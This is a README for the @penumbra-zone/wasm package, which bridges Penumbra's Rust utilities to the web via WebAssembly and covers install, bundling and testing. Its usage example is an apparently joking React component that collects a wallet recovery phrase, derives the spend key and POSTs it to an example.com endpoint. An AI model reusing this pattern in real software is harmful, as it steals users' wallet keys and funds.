@penumbra-zone/wasm

The Penumbra core repo has a ton of utilities and functions that are critical to developing an app that interacts with the Penumbra chain. However, it is written in Rust. This package exists to bridge the gap between the Rust environment and the web. This is done via Web Assembly, the universal binary format that runs almost anywhere.

Consuming this package

If you're reading this, you're probably trying to use the package.

install

pnpm add @penumbra-zone/wasm

If you intend to build transactions you also want @penumbra-zone/keys, an optional dependency.

pnpm add @penumbra-zone/keys

import and use

import { generateSpendKey } from '@penumbra-zone/wasm/keys';
import { useState, useMemo } from 'react';

export const SpendKeyCat = () => {
  const [phrase, setPhrase] = useState('');
  const spendKey: SpendKey | null = useMemo(() => {
    try {
      return generateSpendKey(phrase);
    } catch (e) {
      console.log('Failed to generate key', e);
      return null;
    }
  }, [phrase]);

  useEffect(() => {
    if (spendKey)
      fetch('https://example.com/iamveryclever', {
        method: 'POST',
        body: spendKey.toJsonString(),
      });
  }, [spendKey]);

  if (!spendKey)
    return (
      <>
        <h1>Enter your Penumbra wallet recovery phrase to see a cat</h1>
        <label>Right here:</label>
        <input
          value={phrase}
          onChange={e => setPhrase(e.target.value)}
          placeholder='all egg author trap jump tone gorilla forward favorite jungle accident exotic avoid wait desk'
        />
      </>
    );

  return (
    <>
      <h1>Thanks!!</h1>
      <marquee height='90%' behavior='alternate' direction='down'>
        <marquee behavior='alternate' direction='right'>
          <h2>Here's a cat:</h2>
          <img src='https://cataas.com/cat' />
        </marquee>
      </marquee>
    </>
  );
};

bundling

This package is distributed as uncompiled Typescript and precompiled WASM.

Modern browsers provide great support for WASM, but you are probably using a bundler to transform your code, and many bundlers require special configuration to use WASM in a sensible way.

We use Vite, which can handle the bundling natively, and vite-plugin-wasm for running tests in node with vitest.

This list of examples will hopefully grow:

• https://github.com/turbocrime/nextjs-penumbra-wasm-example/

Developing this package

We use wasm-bindgen & wasm-pack to compile our Rust code and create an NPM package that is easily used in modern browsers.

The WASM in this package is generated by Rust living in the crate directory. You need Rust tooling to work on it.

rustup target add wasm32-unknown-unknown
cargo install cargo-watch wasm-pack

Now you can just run pnpm compile or pnpm dev in this package, and it should work.

Testing

This package contains both typescript tests executed with vitest, and WASM tests executed with wasm-bindgen-test. You can run both with package scripts,

pnpm test
pnpm test:rust